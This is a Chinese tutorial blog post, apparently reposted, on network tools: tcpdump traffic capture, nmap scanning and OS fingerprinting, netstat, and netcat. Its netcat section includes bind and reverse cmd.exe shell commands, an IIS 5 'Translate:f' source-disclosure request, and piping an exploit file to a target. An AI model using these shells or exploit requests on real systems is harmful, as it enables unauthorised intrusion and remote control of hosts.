一些常用linux网络工具的经验共享--Tcpdump，Nmap，Netstat，nc

来源：互联网发布：网络夸人的顺口溜编辑：程序博客网时间：2024/05/22 02:25

Tcpdump-转储网络上的数据流

Tcpdump能够截获当前所有通过本机网卡的数据包。它拥有灵活的过滤机制，可以确保得到想要的数据。由于Tcpdump只能收集通过本机的数据，因此它的应用受到了一些限制，大多应用在网关或服务器自我检测上。例如，在作为网关的主机上，想知道本地网络中IP地址为192.168.0.5的主机现在与外界通信的情况，就可以使用如下命令：

tcpdump -i eth0 src host 192.168.0.5

在默认情况下，Tcpdump会将数据输出到屏幕。如果数据量太大，可能根本看不清具体的内容，这时我们可以把它重定向到文件再进行分析。如果眼神不错，就可以清楚地了解这位仁兄刚才的一举一动：

访问了新浪网主页
20:05:32.473388 192.168.0.5.1872 >; [url]www.sina.com.http:[/url]
S 1372301404:1372301404(0) win 64240 ; (DF)
……
进行了netbios广播进行名字查询
20:05:33.823388 192.168.0.5.netbios-dgm >;
192.168.0.255.netbios-dgm: NBT UDP PACKET(13[img]http://bbs.chinaunix.net/images/smilies/icon_cool.gif[/img]
……
到新华网POP3服务器收信
20:05:41.953388 192.168.0.5.1878 >; pop.xinhuanet.com.pop3: S
1374956462:1374956462(0) win 64240 ; (DF)
……
到深圳963收信
20:05:45.633388 192.168.0.5.1881 >; szptt154.szptt.net.cn.pop3:
P 34:40(6) ack 146 win 64095 (DF)
……

例如，上面这条信息表明了在20:05:45的时候，192.168.0.5通过1881源端口连接到963电子邮局的POP3端口。对于普通的网络分析，这些信息已经足够了。这就是Tcpdump的基本功能，其它高级功能都是在这一基础上的细化和增强。

例如，我只想知道192.168.0.5当前正在访问哪些Web站点，可以用下面这条命令：

tcpdump -i eth0 src host 192.168.0.5 and dst port 80

该命令的目的是截获所有由eth0进入、源地址(src)为192.168.0.5的主机(host)，并且(and)目标(dst)端口(port)为80的数据包。得到的数据如下：

20:05:32.473388 192.168.0.5.1872 >; [url]www.sina.com.http:[/url]
S 1372301404:1372301404(0) win 64240 ; (DF)
……
20:06:33.42344 192.168.0.5.1873 >; [url]www.sohu.com.http:[/url]
S 1374301404:1374301404(0) win 64245 ; (DF)
……
20:07:31.343248 192.168.0.5.1874 >; [url]www.21cn.com.http:[/url]
S 1377301404:1377301404(0) win 64241 ; (DF)
……

显然，通过and或者not这些逻辑组合，就可以得到特定的数据。Tcpdump还可以监听不同的数据类型（如TCP、UDP），以用不同的网络范围（如Host主机、Net网络），甚至用Ether直接指定物理地址。

用Tcpdump在网络中获取信息如此清晰，是不是有一种一览无余的感觉。正是因为Tcpdump功能过于强大，连个人隐私和敏感数据的保护都成了问题，所以通常只有root用户能够使用这一工具。

Nmap

Nmap设计的初衷是系统管理员可以方便地了解自己的网络运行情况，例如有多少台主机在运行、分别提供什么样的服务。因此，它扫描的速度非常快，尤其适合大型网络。在对网络进行扫描时，Nmap主要利用ICMP echo探测主机是否开启。凡是了解TCP/IP协议的都知道，对于一个TCP端口，无论是否使用防火墙进行过滤，该主机都会对该端口发出的请求做出一定响应。所以即使配置了严格的防火墙规则，nmap照样可以找到这些主机。例如，在一台IP地址为192.168.0.1的Linux主机上执行下列命令：

echo 1 >; /proc/sys/net/ipv4/icmp_echo_ignore_all

它的作用就是对所有ICMP echo不予理睬，也就是让通常用来测试网络的Ping命令失效。这样至少可以抵挡POD(Ping of Death)的攻击。在任何一台机器上Ping这台主机，得到的都会是请求超时，如：

Pinging 192.168.0.1 with 32 bytes of data:
Request timed out.
Request timed out.Request timed out.Request timed out.
Ping statistics for 192.168.0.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss)

这台主机是否下线了？用Nmap探测试试看：

nmap -sP 192.168.0.1
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Host gw.somewhere.net (192.168.0.1) appears to be up.

探测结果好像该主机还开着呢！这里，-sP指定使用Ping echo 进行扫描(Scan)。

利用这一特点，可以很快知道目的网络究竟有多少主机处于运行状态：

nmap -sP 192.168.0.0/24 //24表明目标是一个网络而非单个主机
Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Host  (192.168.0.2) appears to be up.
Host [url]www.somesite.net[/url] (192.168.0.5) appears to be up.
Host  (192.168.0.[img]http://bbs.chinaunix.net/images/smilies/icon_cool.gif[/img] appears to be up.
……
Host  (192.168.0.253) appears to be up.
Host fake.somesite.net (192.168.0.254) appears to be up.
Nmap run completed -- 256 IP addresses (19 hosts up) scanned in 6 seconds

既然已经知道了哪些主机还开着，就可以进一步探测这些主机的信息，如开启的端口、提供的服务及操作系统类型等。从上面扫描的结果可以知道，192.168.0.5这台机器正在运行。想要了解该主机的详细信息，可以执行：

nmap 192.168.0.5

稍后会显示如下内容：

Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Interesting ports on [url]www.somewhere.net[/url] (192.168.0.5):
(The 1537 ports scanned but not shown below are in state: closed)
Port    State Service
80/tcp    open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
1031/tcp open iad2
1433/tcp open ms-sql-s
Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

由上可以断定，这是一台运行Windows操作系统的主机，因为它开启了MS SQL Server的专用端口1433，还提供了HTTP服务等。这些信息如果被不怀好意的人得到，就可以采用对应的攻击办法。其实，强大的Nmap本身就可以依据TCP/IP的指纹特征猜测对方使用的操作系统。我们可以用-O来开启这一选项：

nmap -O 192.168.0.5

得到的结果是：

Starting nmap V. 2.54BETA22 ( [url]www.insecure.org/nmap/[/url] )
Interesting ports on [url]www.somewhere.net[/url] (192.168.0.5):
(The 1536 ports scanned but not shown below are in state: closed)
Port    State Service
80/tcp    open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
1032/tcp open iad3
1433/tcp open ms-sql-s
Remote operating system guess: Microsoft NT 4.0 Server SP5 + 2047 Hotfixes
Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

它猜测的远程主机类型是Microsoft NT 4.0 Server SP5 + 2047 Hotfixes，并且相当准确和详尽。

Netstat

Netstat主要用于Linux/Unix主机察看自身的网络状况，如开启的端口、在为哪些用户服务以及服务的状态等等。此外，它还显示系统路由表、网络接口状态等。可以说，它是一个综合性的网络状态察看工具，不过中规中举。

例如在一台普通Linux服务器上运行Netstat，显示可能像这样：

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address    Foreign Address State
tcp 0    0 xxx.net.http-alt xxx.net:1209    ESTABLISHED
tcp 0    0 xxx.net.http-alt xxx.net:1509    ESTABLISHED
tcp 0    0 xxx.net.ssh       whoami.net:1867 ESTABLISHED
tcp 0    0 xxx.net:1209    xxx.net.http-alt ESTABLISHED
tcp 0    0 xxx.net:1509    xxx.net.http-alt ESTABLISHED

Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags    Type    State       I-Node Path
unix  8    [ ]       DGRAM                   858 /dev/log
unix  2    [ ]       DGRAM                   190986
unix  2    [ ]       DGRAM                   190051
unix  2    [ ]       DGRAM                   1252
unix  2    [ ]       DGRAM                   1233
unix  2    [ ]       DGRAM                   1049
unix  2    [ ]       DGRAM                   867
unix  2    [ ]       STREAM    CONNECTED    507

下半部分被称作Unix域套接口，通常不必在意。有用的是上半部被称为有源TCP连接的部分，它显示了当前所有已建立的连接。由此不难看出，当前这台服务器与主机myself.net有一些处于半关闭状态的HTTP连接，还与主机whoami.net有一个SSH连接。

在默认情况下，Netstat只显示已建立连接的端口。要显示处于监听状态的所有端口，使用-a参数即可：

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address    Foreign Address State
tcp 0    0    *:http-alt       *:*             LISTEN
tcp 0    0    *:8009          *:*             LISTEN
tcp 0    0    *:mysql          *:*             LISTEN
tcp 0    0    *:netbios-ssn    *:*             LISTEN
tcp 0    0    *:http          *:*             LISTEN
tcp 0    0    *:ftp          *:*             LISTEN
tcp 0    0    xxx.net.http-alt  xxx.net:1209    ESTABLISHED
tcp 0    0    xxx.net.http-alt  xxx.net:1509    ESTABLISHED
tcp 0    0    xxx.net.ssh    myself.net:1867 ESTABLISHED
tcp 0    0    xxx.net:1209    xxx.net.http-alt  ESTABLISHED
tcp 0    0    xxx.net:1509    xxx.net.http-alt  ESTABLISHED
……

这样，当前正在监听但并未建立连接的端口也可以显示了出来。由此不难看出，这台服务器同时提供HTTP、FTP、SSH、NMBD及一个MySQL数据库服务。

Netstat还可以方便地代替route命令显示当前核心路由表：

netstat -r
Kernel IP routing table
Destination Gateway Genmask          Flags MSS Window  irtt Iface
218.208.80.176 *       255.255.255.248 U 40  0 0 eth1
192.168.0.0 *       255.255.255.0 U 40  0  0 eth0
127.0.0.0  *  255.0.0.0  U       40  0  0 lo
default  x.x.x.x  0.0.0.0          UG  40  0  0 eth1

以上结果与route显示完全一样。

此外，它还可以代替ifconfig显示网络接口状态：

netstat -i
Kernel Interface table
Iface  MTU  Met RX-OK  RX-ERR RX-DRP RX-OVRTX-OK TX-ERR TX-DRPTX-OVR Flg
eth0 1500 0 3441803 0    0    0    3717339  0    0    0 BMRU
eth0:  1500 0    - no statistics available -                         BMRU
eth0:  1500 0    - no statistics available -                         BMRU
eth1 1500 0 1770949 0    0    0    1496183  0    0    0 BMRU
lo 16436 0 38255 0    0    0    38255 0    0    0 LRU

netcat被誉为网络安全界的‘瑞士军刀'，一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。

它被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，

能够建立你需要的几乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由‘红与黑'编译
后的新‘浓缩'版。‘浓缩'版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法，
有此功能的原版NC好象要60KB：P），虽然"体积"小，但很完成很多工作。

1、基本使用
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
例如：扫描端口
tcp扫描
C:/nc>nc -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?)
net [192.168.0.80] 139 (netbios-ssn) open
net [192.168.0.80] 138 (?)
net [192.168.0.80] 137 (netbios-ns)
net [192.168.0.80] 136 (?)
net [192.168.0.80] 135 (epmap) open
net [192.168.0.80] 81 (?) open
net [192.168.0.80] 80 (http) open
net [192.168.0.80] 79 (finger)
net [192.168.0.80] 25 (smtp) open
net [192.168.0.80] 24 (?)
net [192.168.0.80] 23 (telnet)
net [192.168.0.80] 21 (ftp)
udp扫描
C:/nc>nc -u -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?) open
net [192.168.0.80] 139 (?) open
net [192.168.0.80] 138 (netbios-dgm) open
net [192.168.0.80] 137 (netbios-ns) open
net [192.168.0.80] 54 (?) open
net [192.168.0.80] 53 (domain) open
net [192.168.0.80] 38 (?) open
net [192.168.0.80] 37 (time) open
net [192.168.0.80] 7 (echo) open

高级应用
1．Window用法：
（1）IE的MIME欺骗
http://www.try2hack..nl(?.....客技术的人去做实验的站点)
打开这个页面，有http://www.try2hack.nl/cgi-bin/level7.pl页面（这个网站提供了黑客的8关，过了这8关证明你开始入门了），这个页面告诉我们的浏览器不是 IE6.72,我们的*作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的，有病阿（这是一个题目呀，要慢慢研究），linux有IE6.72? 微软会在它的页面上放http://www.try2hack.nl/cgi-bin/level7.pl的链接？看看页面的源代码，level7.pl是在服务器端执行的perl脚本，根本无法看到，还是研究一下IE5和它通信时都告诉了它什么，抓包，我们会发现，我们的IE5告诉对方：我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈，level7.pl这个cgi应该是根据这些信息知道我们不是它要求的客户，嘿嘿，需要欺骗对方才行，用军刀来可以实现，如下做就可以哄对方了：
nc http://www.try2hack.nl 80 [enter]
GET /cgi-bin/level7.pl HTTP/1.1 [enter]
Accept: image/gif, image/x-xbitmap, application/msword, */* [enter]
Refererhttp://www.microsoft.com/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip, deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]
Host: http://www.try2hack.nl [enter]
Connection:
Keep-Alive [enter]
注意，如果出现HTTP 400时，说明你输入格式有问题，出现httpd 200回应时，就给出结果了：
哈哈！赶快去实现一下（实践是成功之母）
（2）IIS 5 “Translate:f” 显示代码脆弱点
Translate:f脆弱点的机制：发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型（例如.ASP或者global.asa）。这些文件是用于服务器上运行的，绝不会到客户机上去，而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上，而不是在服务器上运行。这种畸形的HTTP GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f，并有一个反斜杠”/”附于URL之后。下面就有这样的一个例子（[CRLF]代表回车字符）
注意 GET global.asa 后的反斜杠以及Translate:f头信息。
GET /global.asa/ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
将以上内容保存在一个文本文件中（例如example.txt）
然后向一个有这个漏洞的服务器发送
c:/>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache

举例：

1)连接到REMOTE主机，例子：
格式：nc -nvv 192.168.x.x 80
讲解：连到192.168.x.x的TCP80端口

2)监听LOCAL主机，例子：
格式：nc -l -p 80
讲解：监听本机的TCP80端口

3)扫描远程主机，例子：
格式：nc -nvv -w2 -z 192.168.x.x 80-445
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL，例子：
格式：nc -l -p 5354 -t -e c:/winnt/system32/cmd.exe
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接，例子：
格式：nc -t -e c:/winnt/system32/cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法（其实NC的用法还有很多，
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）。

=====================================================================================================
高级用法：

6)作攻击程序用，例子：
格式1：type.exe c:/exploit.txt|nc -nvv 192.168.x.x 80
格式2：nc -nvv 192.168.x.x 80 < c:/exploit.txt
讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:/exploit.txt'的内容(两种格式确有相同的效果，
真是有异曲同工之妙:P)

附：'c:/exploit.txt'为shellcode等

7)作蜜罐用[1]，例子：
格式：nc -L -p 80
讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止

8)作蜜罐用[2]，例子：
格式：nc -L -p 80 > c:/log.txt
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:/log.txt'中，如果把‘>'
改为‘>>'即可以追加日志

附：'c:/log.txt'为日志等

9)作蜜罐用[3]，例子：
格式1：nc -L -p 80 < c:/honeypot.txt
格式2：type.exe c:/honeypot.txt|nc -L -p 80
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:/honeypot.txt'的内容‘送'入其
管道中

如果要对tcpdump抓到的包进行分析的话,最好使用-w选项保存到文件,方便用etherreal/wireshark进行分析.
出于安全,nc最好自己找到源码进行编译安装.